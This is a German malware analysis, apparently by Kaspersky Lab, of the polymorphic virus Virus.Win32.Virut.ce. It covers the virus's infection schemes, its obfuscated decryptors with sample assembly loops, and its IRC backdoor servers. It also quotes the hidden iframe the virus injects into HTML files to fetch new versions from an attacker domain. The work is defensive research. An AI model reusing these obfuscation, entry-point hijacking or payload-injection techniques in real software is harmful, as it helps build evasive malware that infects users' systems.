Virus.Win32.Virut.ce – ein Abriss

Einführung

Die vorliegende Analyse beschäftigt sich mit dem polymorphen Computervirus Virus.Win32.Virut, genauer gesagt seiner Modifikation „ce”.

Warum ausgerechnet Virut.ce? Virut.ce ist aktuell einer der populärsten Schädlinge. Der Virus infiziert ausführbare Dateien in einem System – unter dem Einsatz modernster Technologien, so dass er nur sehr schwer zu erkennen und zu identifizieren ist. Derzeit setzen Cyberkriminelle aktiv auf serverseitige polymorphe Schadprogramme, um diese massenhaft zu verbreiten. Diese Infizierung von Dateien ist zwar nicht mehr so populär wie noch vor fünf Jahren, da die Datei-Emulation ein sehr hohes Niveau erreicht hat.

Die in Virut.ce umgesetzten Technologien spiegeln sehr schön die aktuellsten Methoden wider, die bei der Programmierung von Schadprogrammen zum Einsatz kommen. In diesem Virus werden Anti-Emulation und Anti-Debugging aktiv eingesetzt. Verwendet wird eine Delta-Berechnung, die mit Hilfe einer Serie von rdtsc-Instruktionen, einer Serie von API-Funktionen GetTickCount erhalten wird. Zudem wird der wiederholte Aufruf „Fake” von API-Funktionen eingesetzt.

Virut ist der einzige Virus, der durchschnittlich einmal pro Woche verändert wird. Dies zeigt, dass seine Entwickler den aktuellen Stand der Antiviren-Datenbanken immer im Blick haben und umgehend auf das Erscheinen der entsprechenden Signaturen reagieren – sie aktualisieren den Virus, um zu verhindern, dass er entdeckt wird. Interessant ist, dass der Schädling den Download seiner neusten Version mit Hilfe infizierter HTML-Dateien gewährleistet. Doch dazu später mehr.

In diesem Artikel werden die Techniken zur Dateiinfizierung näher betrachtet. Außerdem wird das Thema Obfuskation, die bei jeder Infizierung einer ausführbaren Datei zum Tragen kommt, näher beleuchtet. Abschließend wird die Entwicklung der verschiedenen Komponenten des Virus aufgezeigt, angefangen mit seinem erstmaligen Auftreten bis hin zum aktuellen Stand. Alle im Artikel angeführten Statistiken wurden mit Hilfe des KSN (Kaspersky Security Network) erstellt.

Statistik und die Verbreitung von Virut

Die allererste Version von Virut – Variante „a” – erschien bereits Mitte des Jahres 2000. Es folgte eine schrittweise Entwicklung des Schadprogramms, die zum Erscheinen der Modifikation „q” im September 2007 führte.

Diese Version war zu ihrer Zeit überaus populär, heute findet man sie allerdings nur noch selten. Die volle Unterstützung von Virut.q wurde von seinen Entwicklern im zweiten Halbjahr 2008 eingestellt. Doch in der ersten Februarwoche 2009 wurde erstmals die Modifikation „ce” registriert. Die Zeit, die zwischen den letzten Arbeiten an der Modifikation „q” und der Veröffentlichung von Version „ce” lag, wurde offensichtlich für die Entwicklung neuer Infizierungsmethoden, Verschlüsselungsalgorithmen und Methoden der Anti-Emulation genutzt.

Im Folgenden ist mit den Begriffen „Virut” oder „Virus” grundsätzlich Virus.Win32.Virut.ce gemeint.

Derzeit befindet sich die Modifikation Virut.ce auf Platz zwei aller Virus.Win32.*.*-Vartianten, die auf Anwendercomputer erkannt wurden.


Top 20 der entdeckten Viren von Januar 2009 bis Mai 2010

Auf der unten abgebildeten Grafik ist sehr deutlich zu erkennen, dass die Verbreitung von Virut.ce in letzter Zeit zunahm.


Anzahl der mit Virut.ce infizierten Anwender von Mai 2009 bis Mai 2010

Virut verbreitet sich über infizierte Dateien – sowohl über ausführbare als auch über HTML-Dateien – oder über kleine Programme, die auf das Hacken lizenzierter Software ausgerichtet sind. Zu diesen Programmen gehören in der Regel Key-Generatoren (keygen) sowie Tools zur direkten Veränderung von Dateien (crack). Um genau zu sein: über RAR-/ SFX-Archive mit Namen wie „codename_panzers_cold_war_key.exe” oder „advanced_archive_password_recovery_4.53_key.exe”. Öffnet der Anwender das Archiv, so befindet sich neben dem gesuchten Programm auch ein Exemplar von Virut – entweder in Form des Ausgangsexemplars des Virus, das von den Entwicklern verbreitet wird, oder in Form einer infizierten Datei.

Funktionalität von Virut

Es ist kein Geheimnis, dass die Mehrheit aller Schadprogramme nur dazu entwickelt wird, um Profit zu machen. Auch Virut bildet da keine Ausnahme. Virut ist grundsätzlich ein Backdoor-Programm, das zuerst versucht, sich in die Adressumgebung des Prozesses „explorer.exe” („services.exe”, „iexplore.exe”) einzuschleusen, und sich daraufhin über das IRC-Protokoll mit den Adressen „irc.zief.pl“ und/oder „proxim.ircgalaxy.pl“ verbindet. Von diesen Adressen aus wartet er dann auf Befehle des Servers. Alles entspricht also mehr oder weniger aktuellen Standards, auch der Versuch, verschiedene Prozesse zu beenden, deren Auflistung auf dem unten abgebildeten Screenshot zu sehen ist. Auf dieser Liste befinden sich unter anderem auch Prozesse von den Antiviren-Programmen „Nod32”, „Rising” oder „F-Secure”


Screenshot eines Fragments des entschlüsselten statischen Bodys von Virut.ce,
der die Namen der Prozesse enthält, die der Virus versucht zu beenden

Interessant ist auch die Infizierung der Dateien mit den Erweiterungen „*.htm“, „*.php2, 2*.asp“ auf den Computern der Virut-Opfer. Ihnen wird die folgende Zeile hinzugefügt: ‘<iframe src = http://jl.*****.pl/rc/ style = ‘display:none’></iframe>’.

Über diesen Link erfolgt der Download der neusten Virut-Version unter Ausnutzung einer Sicherheitslücke in der PDF–Datei. Von Version zu Version (bezogen auf die Modifikation „ce”) wird diese Zeile wesentlich verändert, so wird der Buchstabe „u” durch „&#117” ersetzt. Für den Browser hat der neue Eintrag keinen Wert, statische Signaturen werden unwirksam.

Infizierung und Infizierungstechnik

Bei der Infizierung von Virut kommt entweder die Technik EPO oder das Überschreiben des Eintrittspunktes zum Einsatz. Dazu werden ein oder zwei polymorphe Decodierer verwendet.

Die Technik EPO – Entry Point Obscuring, das Verbergen des Eintrittspunktes – verschleiert den Übergang auf den Body des Virus. Gewöhnlich wird das realisiert, indem entweder willkürliche Instruktionen oder der Parameter der Übergangsinstruktionen ausgetauscht werden. Unten ist ein Beispiel für die Änderung der Instruktion und der Richtung des Übertritts.


Beispiel für die Infizierung einer Datei mit Hilfe der Technik EPO

Unter dem Überschreiben des Eintrittspunkts versteht man eine Änderung des PE-Headers der Datei, und zwar ein Überschreiben des Feldes AddressOfEntryPoint der Struktur IMAGE_NT_HEADERS32. Folglich beginnt die Ausführung der Datei sofort mit der Virus-Komponente.

Wie oben bereits erwähnt, fügt der Virus bei der Infizierung nur ein oder zwei Decodierer hinzu. Nennen wir sie „Init“ und „Main“. Während der Decodierer Main in jeder Datei untergebracht wird, an der sich Virut.ce zu schaffen gemacht hat, so ist Init nicht überall anzutreffen. Schauen wir uns den Zweck und das allgemeine Erscheinungsbild dieses Decodierers einmal genauer an.

Die Aufgabe des Entschlüsselungsprogramms Init liegt in der Dechiffrierung der ersten „Schicht“ des Viren-Hauptkörpers, um diesem anschließend die Kontrolle zu übergeben. Doch selbst nach dieser Entschlüsselung bleibt ein großer Teil des Viren-Bodys trotzdem noch verschlüsselt. Der Init-Decodierer besteht aus einem kleinen Code in der Größe von 0x100 bis 0x900-Byte, wobei der Großteil der Instruktionen unnütz ist und nur dazu verwendet wird, statische Antiviren-Signaturen unwirksam zu machen. Der Decodierer wird am Ende der Code-Sektion platziert, wenn dort eine ausreichende Anzahl von Nullen vorhanden ist. Er funktioniert nach folgender Logik:

  • Eintrag der Größe des verschlüsselten Teils in die Registry
  • logische/arithmetische Operation über den verschlüsselten Teil mit unveränderlichem Schlüssel
  • Inkrement/Dekrement des Zeigers auf den verschlüsselten Teil
  • Übergang zu Punkt 2, solange nicht alles entschlüsselt ist

Der Hauptkörper des Virus hat eine Größe von 0x4000 bis 0x6000-Byte. Er positioniert sich am Ende der letzten Sektion, die speziell zu diesem Zweck dechiffriert wird, in der Flags zur Registrierung, Ausführung und zum Auslesen ausgestellt werden.

So ergeben sich vier mögliche Infizierungsvarianten:

  1. Init Decodierer + EPO:


  1. Init Decodierer + Änderung EP:


  1. Nur EPO:


  1. Nur Überschreiben des Eintrittspunkts:


Die vier dargestellten Schemata spiegeln alle möglichen Infizierungsvarianten und Änderungen der Dateistruktur wider.

Ursprüngliche Dechiffrierung von Virut.ce

Bevor wir uns der Funktionalität des Virut-Hauptkörpers zuwenden, werfen wir zunächst einen Blick auf den Decodierer Init in einer infizierten Datei.


Fragment aus einer mit Virus.Win32.Virut.ce infizierten Datei mit Decodierer Init


Zerlegter Code des Decodierers Init

Oben sind zwei Screenshots abgebildet. Der erste zeigt ein Fragment der infizierten Datei „calc.exe“. Darauf wurden zusätzlich die Grenzen des Codes markiert und der Decodierer wurde hervorgehoben. Auf dem zweiten Screenshot sieht man den zerlegten Code des Decodierers Init. Mit den roten Ovalen wurden die vier logischen Elemente markiert, von denen oben bereits die Rede war. In diesem Beispiel wird das Register „ecx“ mit Hilfe der aufeinander folgenden Instruktionen „push/pop“ ausgefüllt, die Dechiffrierung erfolgt mit Hilfe von „adc“. Allerdings war das nicht immer so. Innerhalb eines Jahres hat sich Virut.ce enorm weiterentwickelt und folglich hat sich auch der integrierte Decodierer Init weiterentwickelt. Während der Eintrag der Größe des Körpers ins Register sich nur einmal geändert hat – und zwar wurde „mor reg, dword“ zu „push dword, pop reg“ geändert. Die Dechiffrierung selbst wurde also mehr als nur einmal geändert (in chronologischer Reihenfolge):

  1. ADD/SUB [mem], dword;
  2. ROL/ROR [mem], byte;
  3. ADC/SBB [mem], byte;
  4. ADD/SUB [mem], byte;
  5. ADD/SUB [mem], word;
  6. ADC/SBB [mem], word;
  7. ADC/SBB [mem], dword;

Nach der Betrachtung des allgemeinen Infizierungsschemas und der Erstbearbeitung des Viren-Hauptkörpers kommen wir nun zu dem Ausführungsmechanismus, mit dem sich Virut größtenteils verbreitet.

Wiederherstellung des Originalcodes

Der gesamte Code des Hauptkörpers lässt sich nach seiner Bestimmung in drei Gruppen einteilen: Wiederherstellung der Originalfunktion/des Original-Eintrittspunktes, Dechiffrierung des statischen Körpers, Durchführung des schädlichen Downloads.

Bevor wir uns einer eingehenden Betrachtung jedes einzelnen Elements zuwenden, werfen wir einen Blick auf die Struktur des Körpers und auf das entsprechende Dateifragment.


Struktur des Hauptkörpers von Virut.ce

Wie die Grafik zeigt, teilt sich der gesamte Hauptkörper, der ans Ende der letzten Sektion des Codes geschrieben wird, in zwei Typen auf – den verschlüsselten statischen Körper und den ausführbaren Code. Der ausführbare Teil enthält Code, der die Anti-Emulation ausführt, den Original-Eintrittspunkt und/oder die Original-Funktion wiederherstellt und den statischen Körper dechiffriert. Er ist über den Hauptkörper verteilt und kann als Ganzes darüber oder darunter positioniert, oder aber in zwei Komponenten aufgeteilt werden. Interessant ist, dass der ausführbare Teil zudem stark obfuskiert ist – einer der Faktoren, die den Antiviren-Unternehmen das Entdecken des Schädlings erschweren, da es in der Ausgangsdatei keine statischen Elemente gibt, und der statische Körper ganz offensichtlich immer mit verschiedenen Schlüsseln und/oder Algorithmen verschlüsselt ist. Doch dazu später mehr.


Fragment der Datei, die den Hauptkörper von Virus.Win32.Virut.ce enthält

Der Screenshot oben zeigt das Fragment einer mit Virus.Win32.Virut.ce infizierten Datei. Rot ist der ausführbare Teil des Viren-Hauptkörpers markiert – er ist visuell auch wegen der auffällig hohen Konzentration von Null-Bytes auszumachen. In diesem Beispiel hat der Virus bei der Infizierung nicht den Init-Decodierer verwendet, ansonsten hätten alle Bereiche ungefähr gleich ausgesehen und wären verschlüsselt gewesen.

Kommen wir nun zu dem Block, der für die Wiederherstellung des Originalteils der Datei zuständig ist. Die Funktionslogik diese Blocks lässt sich folgendermaßen darstellen:

  1. CALL mit geringem Deltaübergang
  2. Speichern des Originalinhalts der Register
  3. Einfügen der Adresse in das Register EBX, die auf kernel32.dll verweist
  4. Berechnung des Zeigers auf die auf CALL aus Punkt 1 folgende Instruktions-Adresse
  5. arithmetische/logische Operation über der in Punkt 4 erhaltenen Adresse

Erwähnenswert ist, dass der Virus nur dann die Technik EPO anwendet, wenn er den Aufruf einer API-Funktion aus „kernel32.dll“ findet. Dabei läuft die Suche nach den Aufrufen sowohl über den Opcode „0x15FF“ als auch über „0xE8“, mit der nachfolgenden Instruktion JMP (0x25FF). Wird eine solche Funktion gefunden, so wird sie gegen die Instruktion JMP (0xE9) ausgetauscht, die auf den ersten Punkt des oben stehenden Schemas verweist. Daraufhin wird die Adresse der ausgetauschten Funktion aus kernel32.dll in das Register EBX gelegt, und wenn einfach der Eintrittspunkt geändert wurde, so wird im Register der Wert von [ESP + 24] platziert – die Rückadresse der Anwendung in kernel32.dll. Im Folgenden wird der Inhalt dieses Registers zum Empfang der Adressen der exportierten Funktionen aus der Bibliothek verwendet. Bei Anwendung der Technik EPO enthält der Wert von [ESP + 20] die Adresse der Instruktion, die auf den Aufruf der gepatchten API-Funktion oder des Original-Eintrittspunkts folgt.

Schließt man Obfuskation aus, so läuft die Wiederherstellung des Eintrittspunkts und/oder der Funktion in Maschinensprachen im simpelsten Falle nach folgendem Muster ab (wir nehmen an, dass die Funktion GetModuleHandleA ersetzt wurde):

CALL $ + 5
PUSHAD
MOV EBX, [GetModuleHandleA]

XOR [ESP + 20h], Key

Dieser Code entspricht vollständig der Funktionslogik des gesamten Blocks. Nun untersuchen wir die Veränderungen, die sich auf allen Etappen im Laufe der Zeit vollzogen haben, einmal genauer. Der einzige Punkt, der nicht eingehend betrachtet wird, ist der zweite (die Speicherung des Originalinhalts des Registers), da dieses Element immer mit Hilfe der Instruktion PUSHAD realisiert wurde.

In Folgenden sehen wir uns das logische Funktionsschema des Blocks genauer an. Der Sinn des ersten Schritts – der Aufruf der Instruktion CALL – hat sich praktisch nicht verändert. Am Anfang war das einfach „CALL $ + 5“, ein wenig später „CALL $ + 6(7,8)“, danach „CALL $ + 0xFFFFFFFx“, was den Aufruf „zurück“ bedeutet. Obwohl es scheint, dass dieser Schritt absolut unwichtig sei, lohnt sich eine nähere Analyse. Denn: Nach Ausführung dieser Instruktion wird die Adresse der nächsten Instruktion in den Stak gelegt. Diese Adresse wird sowohl zur Wiederherstellung des Eintrittspunkts/der Originalfunktion verwendet als auch zur Adressierung der Schlüssel für die Dechiffrierung und den Anfang des statischen Körpers. Auf diese Adresse werden wir im Zusammenhang mit dem Decodierer Main noch einmal zu sprechen kommen.

Im Gegensatz zum eben behandelten Schritt, ändert sich die Etappe unter Punkt 3 häufiger. Hier die möglichen Ausführungsvarianten:

  • MOV EBX, [ApiFunc]/MOV EBX, [ESP + 24h];
  • PUSH [ApiFunc]/[ESP + 24h]; POP EBX;
  • SUB ESP, xxh; PUSH [ESP + 24h + xx]; POP EBX;
  • LEA EBX, [ESP + xxh]; MOV EBX, [EBX + 24h – xx];
  • ADD ESP, 28h; XCHG [ESP – 4], EBX;

Es sind nicht alle möglichen Varianten aufgeführt, doch der Entwicklungsschlüssel lässt sich nachvollziehen – das Hinzufügen von Zwischenmanipulationen an den Registern ESP, EBX.

Werfen wir einen Blick auf den letzten Schritt – die Wiederherstellung der Adresse des Original-Eintrittspunkts oder der Adresse des gepatchten CALLs. Hier gibt es praktisch ununterbrochen Änderungen – durchschnittlich alle zwei bis drei Wochen.

Nach Aufruf der Instruktion PUSHAD verringert sich der Pointer auf den Stak – das Register ESP um 0x20 Bytes, folglich befindet sich in B [ESP + 20h] ein Wert, der mit der letzten Instruktion CALL ausgefüllt wurde. Zu diesem Wert wird eine arithmetische/logische Operation angewendet und man erhält den Wert, den wir benötigen.

Im Folgenden zeigen wir mögliche Varianten der Instruktionsreihenfolge, die die oben beschriebenen Aktionen ausführen:

  • XOR/AND/OR/ADD/SUB [ESP + 20h], const;
  • MOV [ESP + 20h], const;
  • LEA EBP, [ESP + x]; MOV/OR/ADD/SUB/XOR EBP, const; XCHG [EBX + 20h – x], EBP;
  • MOV EBX, ESP; PUSH const; POP [EBX + 20h];
  • PUSH const; POP [ESP + 20h].

Auch hier haben wir nicht alle möglichen Varianten aufgeführt, doch die allgemeine Tendenz lässt sich leicht ablesen – das Hinzufügen verschiedener Zwischenoperationen.

Auf dem unten abgebildeten Screenshot ist ein Fragment einer infizierten Datei zu sehen, das alle oben beschriebenen Operationen enthält (rot markiert).


Screenshot einer mit Virus.Win32.Virut.ce infizierten Datei,
die den Wiederherstellungscode des Original-Eintrittspunkts enthält

Zum besseren Verständnis wurde Obfuskation in dem Beispielcode ausgeschlossen, allerdings wird sie aktiv in allen vom Virus zusätzlich geschriebenen Teilen der Datei angewendet (Init-Decodierer, ausführbarer Teil des Hauptkörpers). Gerade die Obfuskation schränkt die Verwendung von statischen Signaturen komplett ein, da der Code nach Anwendung der Obfuskation völlig verändert ist (inhaltlich, nicht wegen seiner Funktionalität). Es folgen Beispiele für Instruktionen, die als „Müll“ eingesetzt werden, d.h. die keinerlei funktionalen Inhalt haben:

Paar – XCHG reg1, reg2; XCHG reg2, reg1
Paar – SUB reg1, reg2; ADD reg1, reg2
MOV reg, reg; OR reg, reg; AND reg, reg; XCHG reg, reg; LEA reg, [REG]
CLD, CLC, STC, CMC

Unter „reg1” und „reg2” werden verschiedene Register verstanden, und unter „reg” – gleiche Register innerhalb eines Ausdrucks. Hier arithmetische/logische Operationen, bei denen der rechte Operand willkürlich ist: ADC reg, const; SBB reg, const; XOR reg, const, u.ä.

Auf den folgenden Screenshots sind die Obfuskations-Elemente wieder rot markiert:


Screenshots mit Code des Viren-Hauptkörpers

Auf dem linken Screenshot ist sehr schön zu erkennen, dass die unnützen Instruktionen 70 bis 80 Prozent des gesamten Codes ausmachen.

Oben wurden nicht alle möglichen Obfuskations-Varianten aufgeführt, sondern nur die am häufigsten verwendeten. Von Version zu Version kommen neue Varianten hinzu. Wir haben beim ersten Teil der Ausführung den Viren-Hauptkörper näher betrachtet. Die Schritte, in denen die verschiedenen Ansätze der Anti-Emulation und des Anti-Debugging umgesetzt werden, überspringen wir und kommen daher gleich zum Main-Decodierer.

Dechiffrierung des Hauptkörpers

Der Übergang zu dem Code, der für die Entschlüsselung zuständig ist, wird nach den Anfangsvorbereitungen von Virut durchgeführt – der Wiederherstellung des gepatchten Codes, der Erstellung eines benannten Objekts, des Empfangs der Adressen der ausführbaren Funktionen aus den System-Bibliotheken und der Anti-Zyklen.

Interessant ist, dass der Code – betrachtet man den aufgeteilten Decodierer Main – völlig sinnlos erscheint, da ein Aufruf der Funktion RETN erfolgt, der die Steuerung an einen vollkommen willkürlichen Ort weiterleitet. Die Sache ist die, dass die Instruktion RETN (0C3h) vor dem Start der Ausführung der Hauptentschlüsselung zu CALL (0E8h) geändert wird. Das wird mit Hilfe der Instruktion „ADD/SUB/XOR [EBP + xx], bytereg“ durchgeführt, in der EBP auf die Adresse der auf „CALL, а bytereg“ folgenden Instruktion verweist – eines der Byte-Register.

Folglich kann man annehmen, dass der Entschlüsselungszyklus nach der Änderung von RETN zu CALL gestartet wird. Darauf folgt der Entschlüsselungszyklus, der obfuskiert ist, wie auch der gesamte restliche Body. Es gibt hier zahlreiche ausführbare Algorithmen. Allerdings sind diese im Gegensatz zu den im Init-Decodierer verwendeten Algorithmen nicht elementar. In der Regel werden zwischen zwei und sechs logische/arithmetische Operationen gebündelt eingesetzt. In allen Algorithmen enthält das Register EDX den Dechiffrierungsschlüssel und das Register EAX die virtuelle Adresse des Beginns des statischen Körpers. Die Register werden mit Hilfe von Instruktionen folgenden Aussehens ausgefüllt:

  • MOVZX/MOV dx/edx, [ebp + const]
  • LEA eax, [ebp + const]

In EBP befindet sich die Adresse, die auf die Instruktion CALL folgt, und die – wie bereits bei der Betrachtung der ersten Etappe des logischen Schemas beschrieben wurde – für die Wiederherstellung des Originalteils der Datei zuständig ist. Die Instruktionen, die für diese zwei Operationen zuständig sind, haben ebenfalls Veränderungen durchgemacht, doch darauf werden wir an dieser Stelle nicht näher eingehen.

Die ganze Vielfalt aller verwendeten Algorithmen darzustellen, ist sehr schwer. Daher beschränken wir uns hier nur auf einige der interessantesten Beispiele:

ROL DX, 4
XOR [EAX], DL
IMUL EDX, EDX, 13h

ADD [EAX], DL
ROL DX, 5
IMUL EDX, 13h

XOR [EAX], DH
ADD [EAX], DL
XCHG DH, DL
IMUL EDX, 1Fh

XOR [EAX], DH
XCHG DH, DL
ADD [EAX], DH
IMUL EDX, 1Fh

XOR [EAX], DL
ADD [EAX], DH
IMUL EDX, 2Bh
XCHG DH, DL

Die verwendeten Instruktionen haben sich von Version zu Version geändert, allerdings ist dabei keine allgemeine Tendenz festzustellen: Relativ simple Algorithmen folgten auf recht komplizierte Algorithmen – und umgekehrt. Anscheinend bestand das Hauptziel der Entwickler darin, einen Algorithmus einzusetzen, der gegenüber einer möglichen Auswahl stabil bleibt. Damit lässt sich sowohl das unablässige Ändern der Algorithmen als auch das Fehlen einer Logik bei der Änderung erklären.


Zerlegtes Fragment des Decodierers Main

Der oben abgebildete Screenshot enthält ein Fragment des auseinander genommenen Codes des Main-Decodierers. Rot markiert sind die nützlichen Instruktionen, von denen bisher die Rede war. Hier gibt es auch unnütze Operationen, die aufgrund der Obfuskation entstanden sind.

Wir kommen nun zur Ausführung der schädlichen Funktionalität der Datei im bereits entschlüsselten statischen Körper. Seine Ausführung beginnt in der Regel mit der Instruktion CALL mit geringem Deltaübergang – zur Berechnung der virtuellen Adresse des Ausführungsbeginns, und um diese im Folgenden zur Adressierung zu verwenden.


Dechiffrierung des statischen Viren-Körpers

Auf dem Screenshot ist der entschlüsselte statische Body von Virut dargestellt. Mit den roten Ovalen sind die Zeilen markiert, die einer bestimmten schädlichen Funktionalität entsprechen. So sind JOIN und NICK beispielsweise IRC-Befehle und „irc.zief.pl“ „proxim.ircgalaxy.pl” sind remote IRC-Server, mit denen Virut sich zu verbinden versucht sowie „SYSTEMCurrentControlSetServicesSharedAccessParametersFirewallPolicyStandardProfileAuthorizedApplicationsList” ist der Registerschlüssel, unter dem sich die Liste vertrauenswürdiger Anwendungen für die integrierte Firewall von Windows befindet.

Fazit

Virut.ce ist nicht so sehr wegen seiner schädlichen Funktionalität interessant – die reichlich banal ist. Vielmehr lohnt es sich, ihn wegen seiner zahlreichen Methoden zur Infizierung von Dateien genauer unter die Lupe zu nehmen: wegen seiner polymorphen Struktur, seiner Obfuskation usw. Bis zu dem Erscheinen dieser Virut-Modifikation gab es praktisch keine Viren, in denen die Technologien umgesetzt waren, die Virut.ce verwendet. Es gibt stark obfuskierte Schädlinge, Schädlinge, die vielfältige Anti-Emulation einsetzen. Doch nur im Fall von Virut.ce sind alle diese Mechanismen in nur einem Virus vereint.

Selbstverständlich enthält diese Analyse nicht alle Informationen über Virut.ce, aber diese Aufgabe stellt sich auch gar nicht. Es wäre möglich gewesen, die Kommunikation zwischen dem Virus und dem IRC-Server genau zu untersuchen oder alle Details der Dateiinfizierung. Doch wir haben uns in diesem Fall auf die wichtigsten Funktionsmechanismen von Virut konzentriert. Eine genaue Untersuchung der Umsetzung der Anti-Emulation schließt sich schon deshalb aus, weil die veröffentlichten Informationen von Cyberkriminellen hätten genutzt werden können.

Die weitere Entwicklung des Virus ist nur sehr schwer vorhersehbar. Obgleich im April 2010 und Mai 2010 keine neuen Versionen von Virut.ce gefunden wurden, bedeutet das nicht, dass seine Entwicklung zum Stillstand gekommen ist. Es ist durchaus möglich, dass die Virenschreiber sich eine Auszeit genommen haben, um Änderungen am Virus vorzunehmen, die den Antiviren-Unternehmen das Aufspüren von Virut erschweren.

Zum gegenwärtigen Zeitpunkt erkennen und desinfizieren alle Produkte von Kaspersky Lab Virus.Win32.Virut.ce erfolgreich. Erscheint eine neue Modifikation des Virus, so wird diese innerhalb kürzester Zeit unseren Datenbanken hinzugefügt.

Derzeit arbeiten die meisten Schädlinge, die sich unter Einsatz von serverseitigem Polymorphismus verbreiten, mit Anti-Emulation oder Anti-Debugging. Das Verständnis der Technologien, die in Virut.ce umgesetzt sind, trägt dazu bei, diese Schädlinge und andere polymorphe Viren zu verstehen.

Der Artikel und Zitate daraus dürfen unter Nennung des Unternehmens Kaspersky Lab sowie des Autors frei veröffentlicht werden.

Ähnliche Beiträge

Schreibe einen Kommentar

Deine E-Mail-Adresse wird nicht veröffentlicht. Erforderliche Felder sind mit * markiert.